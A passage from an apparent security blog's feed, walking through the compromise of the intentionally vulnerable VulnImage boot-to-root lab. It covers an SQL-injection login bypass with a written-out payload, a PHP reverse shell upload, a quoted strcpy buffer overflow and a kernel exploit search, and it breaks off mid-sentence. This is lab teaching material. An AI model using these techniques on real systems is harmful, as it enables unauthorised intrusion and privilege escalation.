type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/5828494413401998596/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2012/01/video-hackademic-rtb1.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/5828494413401998596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/5828494413401998596'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2012/01/video-hackademic-rtb1.html' title='[Video] Hackademic RTB1'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-4819071614948962707</id><published>2011-12-17T21:12:00.000Z</published><updated>2012-01-15T15:30:02.035Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><category scheme='http://www.blogger.com/atom/ns#' term='VulnImage'/><title type='text'>[Video] VulnImage - Manual Method</title><content type='html'>&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;br /&gt;Watch video on-line:&amp;nbsp;&lt;a href="http://blip.tv/g0tmi1k/vulnimage-manual-5830689"&gt;http://blip.tv/g0tmi1k/vulnimage-manual-5830689&lt;/a&gt;&lt;a href="http://www.mediafire.com/?70m714m55v4c6df"&gt;&lt;/a&gt;&lt;br /&gt;Download video:&amp;nbsp;&lt;a href="http://www.mediafire.com/?38zd5afv4uadbxv"&gt;http://www.mediafire.com/?38zd5afv4uadbxv&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFguPxBQA.html" width="500"&gt;&lt;/iframe&gt;&lt;embed data="https://blip.tv/api.swf#hdkFguPxBQA" src="http://a.blip.tv/api.swf#hdkFguPxBQA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Brief Overview&lt;/div&gt;&lt;a href="http://g0tmi1k.blogspot.com/search/label/VulnImage"&gt;VulnImage&lt;/a&gt;&amp;nbsp;is an obscure &lt;i&gt;(I can't even find a 'homepage' as such for it!)&lt;/i&gt;&amp;nbsp;"&lt;a href="http://g0tmi1k.blogspot.com/search/label/boot2root"&gt;boot-to-root&lt;/a&gt;"&amp;nbsp;operating system which has purposely crafted weakness(es) inside itself. The&amp;nbsp;user's end goal is to interact with it and get the highest user privilege they can.&lt;br /&gt;&lt;br /&gt;The 'manual' tag is due to the way the login system is bypassed as well as&amp;nbsp;privilege&amp;nbsp;escalation (via Linux exploit development, covering fuzzing to metasploit module).&amp;nbsp;Another method is located &lt;a href="http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-automated-method.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Method&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Scanned network for the target [NetDiscover]&lt;/li&gt;&lt;li&gt;Port scanned the target [UnicornScan]&lt;/li&gt;&lt;li&gt;Banner grabbed the services&amp;nbsp;running on the open port(s) [NMap]&lt;/li&gt;&lt;li&gt;Bypass login system [Firefox]&lt;/li&gt;&lt;li&gt;Modified page&amp;nbsp;requests to the web server [Tamper Data]&lt;/li&gt;&lt;li&gt;Manipulate the blog to upload an backdoor [Pentestmonkey's PHP-Reverse-Shell]&amp;nbsp;&lt;/li&gt;&lt;li&gt;Brute forced&amp;nbsp;directories &amp;amp; files&amp;nbsp;on the&amp;nbsp;web server [DirBuster]&amp;nbsp;&lt;/li&gt;&lt;li&gt;Discovered a custom application running and downloaded the source code ['buffd']&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li&gt;Escalated privileges via a vulnerable kernel version [udp_sendmsg]&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0b5394;"&gt;Exploit development&amp;nbsp;starts at&amp;nbsp;5:28&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Fuzzed the&amp;nbsp;custom application&amp;nbsp;until it crashed [NetCat &amp;amp; Python]&lt;/li&gt;&lt;li&gt;Verified and located which part of the buffer is overwriting the EIP address in the registers&amp;nbsp;[Metasploit's pattern_create &amp;amp; pattern_offset &amp;amp;&amp;nbsp;GDB]&lt;/li&gt;&lt;li&gt;Created shellcode to be executed [Metasploit's msfvenom]&lt;/li&gt;&lt;li&gt;Updated the buffer with the shellcode and&amp;nbsp;verified&amp;nbsp;everything so far [Python &amp;amp;&amp;nbsp;GDB]&lt;/li&gt;&lt;li&gt;Final update of the buffer to include the ESP address&amp;nbsp;[GDB]&lt;/li&gt;&lt;li&gt;Escalated privileges via the new exploit ['buffd']&lt;/li&gt;&lt;li&gt;Restart the target machine to verified the exploit&lt;/li&gt;&lt;li&gt;Created metasploit module [Geany]&lt;/li&gt;&lt;li&gt;Escalated privileges via the new exploit using metasploit ['buffd']&lt;/li&gt;&lt;li&gt;Restored the targets machine back to its&amp;nbsp;original&amp;nbsp;state&amp;nbsp;&lt;/li&gt;&lt;li&gt;Instantly&amp;nbsp;gained root access via the new exploit [metasploit]&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;What do I need?&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://ds.mathematik.uni-marburg.de/~lbaumgaertner/vulnimage.zip"&gt;VulnImage.zip&lt;/a&gt;&amp;nbsp;&lt;i&gt;&lt;span style="font-size: xx-small;"&gt;(MD5: 8CB0E628AEB3C7E1F771764D07280655)&lt;/span&gt;&lt;/i&gt;&lt;i&gt;.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;A virtual machine&amp;nbsp;&lt;i&gt;(Example:&amp;nbsp;&lt;a href="http://www.filehippo.com/download_vmware_player/"&gt;VMware Player&lt;/a&gt;&amp;nbsp;or&amp;nbsp;&lt;i&gt;&lt;a href="http://www.filehippo.com/download_virtualbox/"&gt;Virtual Box&lt;/a&gt;&lt;/i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.nixgeneration.com/~jaime/netdiscover/"&gt;NetDiscover&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;i&gt;(Can be found in&amp;nbsp;&lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 5&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://www.unicornscan.org/" style="font-style: normal;"&gt;UnicornScan&lt;/a&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nmap.org/"&gt;NMap&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://www.mozilla.org/en-US/firefox"&gt;Firefox&amp;nbsp;&lt;/a&gt;–&amp;nbsp;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/tamper-data/" style="font-style: normal;"&gt;Tamper Data&amp;nbsp;&lt;/a&gt;&lt;span style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell"&gt;PHP-Reverse-Shell&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://netcat.sourceforge.net/"&gt;NetCat&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project"&gt;DirBuster&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://www.exploit-db.com/exploits/9574/"&gt;udp_sendmsg&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Found on exploit-db.com &amp;amp; Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://python.org/"&gt;Python&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://metasploit.com/"&gt;Metasploit&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;A&amp;nbsp;Text Editor (e.g. &lt;a href="http://www.geany.org/"&gt;Geany&lt;/a&gt;)&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;i&gt;&lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Walkthrough&lt;/div&gt;The first stage is to locate the target, which the attacker does by using&amp;nbsp;"NetDiscover" as this quickly scans all the subnets for IP's, Media Access Control (MAC) addresses and any known vendors that relate to their MAC address. The attacker knows that the target is using VMware, as there aren’t any other&amp;nbsp;virtual&amp;nbsp;machines in use and the target hasn't spoofed their MAC address, therefore they have successfully&amp;nbsp;identified the target.&lt;br /&gt;&lt;br /&gt;The attacker then port scans the target as this discovers any services which are listening on the exposed interface.&amp;nbsp;The attacker chooses to use "UnicornScan" as it is accurate &amp;amp; efficient whilst scanning at speed. The port scan shows there are 7 open TCP ports; 22 (SSH), 25 (SMTP), 80 (HTTP), 139 (NETBIOS), 445 (SAMBA), 3306 (MySQL) and 7777 (CBT). There is only 1 UDP port open, 137 (NETBIOS). The attacker then chooses to verify the TCP results by using "nmap" to do another port scan. At the same time, the attacker takes advantage of some other features built into nmap, such as its scripting engine. This enumerates the open port's protocols and services which have been detected, as well as banner grabbing. The attacker chooses to interact with the web service which is running on the default TCP port 80. The justification for this is because it is a very graphical, friendly and common way in allowing the end user to interact, because of this there could be lots of information which could be enumerated as well as poorly written code which could be taken advantage of.&lt;br /&gt;&lt;br /&gt;The attacker starts "DirBuster" to brute force directories and files on the web server by connecting to a list of common paths used on a web server and to then analyse the HTTP&amp;nbsp;response codes. As this takes a while, it is left running in the background.&lt;br /&gt;&lt;br /&gt;The web service responds normally when the attacker interacts with it using a web browser, for example "firefox". The attacker then explores the web application structure by clicking through on links and&amp;nbsp;soon sees the web service is running a blog, and, at the same time sees that two posts have been posted by &amp;nbsp;the user, blogger. The attacker keeps on following links on the blog and soon&amp;nbsp;is&amp;nbsp;&amp;nbsp;presented with a login page for user profiles. The first thing the attacker looks at is the page source code, which they notice has a hidden field called "fname" and a value of "sig.txt", which appears to be a text document for signatures. Next they test the login system by entering data which wouldn't be correct as this can be used to see if the login system is working as well as the error message(s) for an incorrect login. The attacker uses the possible username, 'blogger' and the password, 'password'. The attacker then goes back and repeats the request, however; this time uses a different password to &amp;nbsp;attempt to alter the login process.&amp;nbsp;&lt;i&gt;Editor's note: Before recording the video, the attacker noticed that phpMyAdmin was running on the web server (due to DirBuster). This is a GUI to manage MySQL databases, which are commonly used to validate&amp;nbsp;credentials. &lt;/i&gt;The attacker then replaces their password with a MySQL statement in which to&amp;nbsp;modify (by 'injecting' their code) the MySQL statement which has been hardcoded on the server side.&amp;nbsp;This "password" will cause the original MySQL statement to return true, therefore it will login as the chosen user without the correct password being present.&amp;nbsp;&lt;i&gt;Editor's note:&amp;nbsp;An explanation of the vulnerable code is below:&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&lt;b&gt;Original statement &lt;/b&gt;&lt;i&gt;(Taken from /var/www/admin/profile.php, line 31)&lt;/i&gt;:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #38761d;"&gt;$sql = "SELECT * FROM blog_users WHERE poster = '$username' AND password = '$password'";&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&lt;b&gt;Expected&lt;/b&gt; &lt;b&gt;input&lt;/b&gt; &lt;i&gt;(user:&amp;nbsp;&lt;span style="color: #0b5394;"&gt;blogger&lt;/span&gt;, Password:&amp;nbsp;&lt;span style="color: #0b5394;"&gt;password&lt;/span&gt;)&lt;/i&gt;&lt;span style="color: #38761d;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #38761d;"&gt;$sql = "SELECT * FROM blog_users WHERE poster = '&lt;/span&gt;&lt;span style="color: #0b5394;"&gt;blogger&lt;/span&gt;&lt;span style="color: #38761d;"&gt;' AND password = '&lt;/span&gt;&lt;span style="color: #0b5394;"&gt;password&lt;/span&gt;&lt;span style="color: #38761d;"&gt;'";&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&lt;b&gt;Injected&lt;/b&gt; &lt;b&gt;input&lt;/b&gt; &lt;i&gt;(user:&amp;nbsp;&lt;span style="color: #0b5394;"&gt;blogger&lt;/span&gt;,&amp;nbsp;&amp;nbsp;Password:&amp;nbsp;&lt;span style="color: #38761d;"&gt;&lt;span style="color: #cc0000;"&gt;' or 1=1-- -&lt;/span&gt;&lt;/span&gt;)&lt;/i&gt;:&amp;nbsp;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #38761d;"&gt;$sql = "SELECT * FROM blog_users WHERE poster = '&lt;/span&gt;&lt;span style="color: #0b5394;"&gt;blogger&lt;/span&gt;&lt;span style="color: #38761d;"&gt;' AND password = '&lt;/span&gt;&lt;span style="color: #cc0000;"&gt;' or 1=1-- -&lt;/span&gt;&lt;span style="color: #38761d;"&gt;'";&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In the MySQL statement&amp;nbsp;the 'WHERE' clause needs two parts to equal true due to the 'AND' operator. The username is known and valid but the password is not. The reason why the injected input works is due to the 'OR'&amp;nbsp;operator as this allows another value&amp;nbsp;that will always be true, as 1 will always equal 1. Now the statement will return true, therefore&amp;nbsp;logging&amp;nbsp;in as blogger.&amp;nbsp;The ending of the injected code,&amp;nbsp;comments out any possible remaining queries in the&amp;nbsp;original&amp;nbsp;statement &lt;i&gt;(as it turns out there isn't anything)&lt;/i&gt; plus there is no a need to fix the MySQL syntax.&lt;br /&gt;&lt;br /&gt;To verify that the attacker&amp;nbsp;managed&amp;nbsp;to login without knowing the password, they quickly check the blog to see if the signature has been updated &lt;i&gt;- which it has been.&amp;nbsp;&lt;/i&gt;The attacker then wishes to take&amp;nbsp;advantage&amp;nbsp;of the blog's system of using files to store&amp;nbsp;signatures, however, they need to know the location of where they are stored. By altering the hidden "fname" in the page source code to an incorrect path, forcing an error to be produced, they hope that the error message will contain sensitive information relating to the location. As fname is stored on the client's web page &lt;i&gt;(not hidden when the server processes the page),&lt;/i&gt; the attacker is able to modify their local version which is sent back to the server. The attacker could use the firefox addon "&lt;a href="http://getfirebug.com/"&gt;firebug&lt;/a&gt;" to alter the source code on-the-fly, thus when the page is sent back, it would have the&amp;nbsp;modified&amp;nbsp;variable. However the attacker&amp;nbsp;chooses to use "Tamper Data" to intercept the traffic to modify the data before it is sent back. The reason why the attacker went with Tamper Data is because it is already included with the default install of backtrack 5 r1 &lt;i&gt;(The addon has just been disabled)&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;'&lt;b&gt;Normal&lt;/b&gt;'&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: #38761d;"&gt;Attacker (Firefox) ---&amp;gt; Target (Web server)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;Attacker (Firefox) &amp;lt;--- Target (Web server)&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;span style="color: #38761d;"&gt;Attacker (Firefox) ---&amp;gt; Target (Web server)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;'&lt;b&gt;Intercepted&lt;/b&gt;'&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: #38761d;"&gt;Attacker (Firefox) ---&amp;gt; Target (Web server)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;Attacker (Firefox) &amp;lt;--- Target (Web server)&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;span style="color: #38761d;"&gt;Attacker (Firefox) ---&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0b5394;"&gt;Tamper Data&lt;/span&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;---&amp;gt;&amp;nbsp;Target (Web server)&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;By using tamper data, when the attacker submits the page, they are now able to edit the data which is sent in the POST request and takes&amp;nbsp;advantage&amp;nbsp;of this by editing the hidden text field "fname" to have an&amp;nbsp;additional forward slash.&amp;nbsp;Slashes are used to indicate folders, now when the blog tries to use the path, there isn't a folder at the location, forcing an error. This&amp;nbsp;produces&amp;nbsp;a message informing the end user that the blog isn't able to access the file or folder &lt;i&gt;(which is due to the modified request)&lt;/i&gt;, along with detailed paths such as the file which failed to access the location as well as the location which failed.&amp;nbsp;The attacker copies the failed location and amends the path to view the content which should have been requested. The attacker now knows the location of a&amp;nbsp;writeable&amp;nbsp;folder which they have access to. The attacker goes back and tries to see if they are able to execute PHP functions by a simple command to just print a message on the screen. Upon submission they alter the fname field to reflect the file format is now PHP. After which the attacker tries to view the new file, by doing so they discover that they are now able to&amp;nbsp;write PHP functions and the target executes it.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Pentest monkey has created "php-reverse-shell" which allows for an interactive shell to spawn by using PHP commands. The attacker makes a copy of it, making sure the original version isn't edited. Due to the nature of the shell &lt;i&gt;(as it is "reverse")&lt;/i&gt; this means communication comes back to the attacker, thus the shell needs to be able to locate the attacker, which is done so by updating the "IP" and "port" field.&lt;br /&gt;&lt;br /&gt;Before the attacker views the new signature which would trigger the shell to be executed, the attacker needs to set up a listener, which will capture the request from the target with an interactive shell. The attacker uses "netcat" to be the handler as it is a 'swiss army knife' on the same port used in the shell. The attacker then requests the php shell signature to be displayed. The target then executes the PHP commands causing a shell to be sent back to the attacker. The end result being the attacker is now able to execute commands locally on the target machine using an interactive shell.&lt;br /&gt;&lt;br /&gt;The attacker starts checking the local user's home folder, and&amp;nbsp;discovers&amp;nbsp;a C source code, for a program called 'buffd'. After checking to see the running&amp;nbsp;processes, the attacker notices not only the program is being executed, but also by the super-user, root. The current user which the attacker is logged in as (www-data), doesn't have permission to view the file. However the attacker checks the results from DirBuster and notices that the web server also has a file with the same name, and downloads that copy instead. Upon viewing the contents of the source code, the attacker notices that the program uses port "7777". The attacker checks locally on the target to see if TCP port 7777 is open, which it is, but is unable to confirm if the PID matches to the running process. At the same time looking at the source code, the attacker notices a vulnerable function -&amp;nbsp;&lt;i&gt;which is called "vulnerable"&lt;/i&gt;.&amp;nbsp;&lt;i&gt;Editor's note:&amp;nbsp;An explanation of the vulnerable code is below:&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp; &amp;nbsp;void vulnerable(char *net_buffer)&lt;br /&gt;&amp;nbsp; &amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;char local_buffer[120];&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;strcpy(local_buffer, net_buffer);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d; font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;return;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d; font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The function is vulnerable because of the buffer '&lt;i&gt;local_buffer'&lt;/i&gt;, has been set to '120', therefore when the argument &lt;i&gt;'net_buffer'&lt;/i&gt;, is copied into the buffer anything greater than 120 will 'overflow' it. The extra bytes will run past the buffer and overwrite the space set aside for the&amp;nbsp;frame pointer, return address etc. This causes the process stack to be corrupt which potentially alters the program's execution path&amp;nbsp;as the functions return address is the address of the next instruction in memory, which is immediately executed after the function returns. When using 'strcpy' it doesn't check the bounds, so the solution would be to use 'strncpy'.&lt;br /&gt;&lt;br /&gt;The attacker checks the file type of the&amp;nbsp;potential binary version of buffd, as well as the folder in which it is being executed from. The attacker notices the binary was compiled on Linux 2.6.8 as well as having a 'core' file in the same folder. The attacker knows that a core file is a 'memory dump' and is produced when a program crashes and is able to extract key&amp;nbsp;information about how and why the program crashed &lt;i&gt;(which is useful to know when creating an exploit as the attacker needs to understand what is happening)&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;The attacker then decides that they are going to attempt to create an exploit for the vulnerable program, buffd. They chose to develop the exploit locally on the target, as its the environment the exploit will be used in. The first thing the attacker does, is to disable any&amp;nbsp;file and memory protection such as 'Address Space Layout Randomization&amp;nbsp;(ASLR)' as it moves segments about, creating randomness in addresses thus making it harder to exploit applications. The attacker tries to disable&amp;nbsp;ASLR, however they notice that the file '/proc/sys/kernel/randomize_va_space', which is used to&amp;nbsp;temporarily disable&amp;nbsp;ASLR is missing. They then check the kernel version to see its 2.6.8 &lt;i&gt;(which hints that the binary file could of been compiled locally and not imported) &lt;/i&gt;which by default doesn't have ASRL&amp;nbsp;&lt;i&gt;(ASLR got added into the Linux kernel by default from&amp;nbsp;2.6.12&amp;nbsp;onwards)&lt;/i&gt;, therefore the attacker doesn't have to worry about&amp;nbsp;ASLR.&amp;nbsp;&lt;i&gt;Editor's note: I was unable to exploit buffd locally on the attackers machine.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;As the buffd is being executed as the super-user, the current user &lt;i&gt;(same as the web service they exploited)&lt;/i&gt; they are logged in as isn't going to have permission to control the program. The attacker needs to&amp;nbsp;escape privileges another way to gain a higher level of access in the system.&amp;nbsp;One common method is by exploiting the kernel &lt;i&gt;(ONLY if it is vulnerable!)&lt;/i&gt;. The attacker searches their local copy of a public exploit database, "exploit-db.com". Upon searching for the exact same kernel version, it only returned one known exploit &lt;i&gt;(which was un-successful)&lt;/i&gt;. The attacker carries on by searching for the same "major.intermediate" versions &lt;i&gt;(removed ".minor")&lt;/i&gt;, and sorts them in ascending order. This returns results for kernel versions that are higher and lower than the target version as well as "generic" ones. The justification for this is that lots of exploits are available for a certain version and/or lower, the ones which are higher than the one used on the target could work. After searching the results, the attacker finds a suitable exploit that will potentially work. After viewing the exploit, it requires additional files to be downloaded. The attacker downloads the exploit package and moves it to their local root folder website path. They make sure the exploit is able to be read, by anyone by giving it certain permissions, as the web server uses a different user than the one 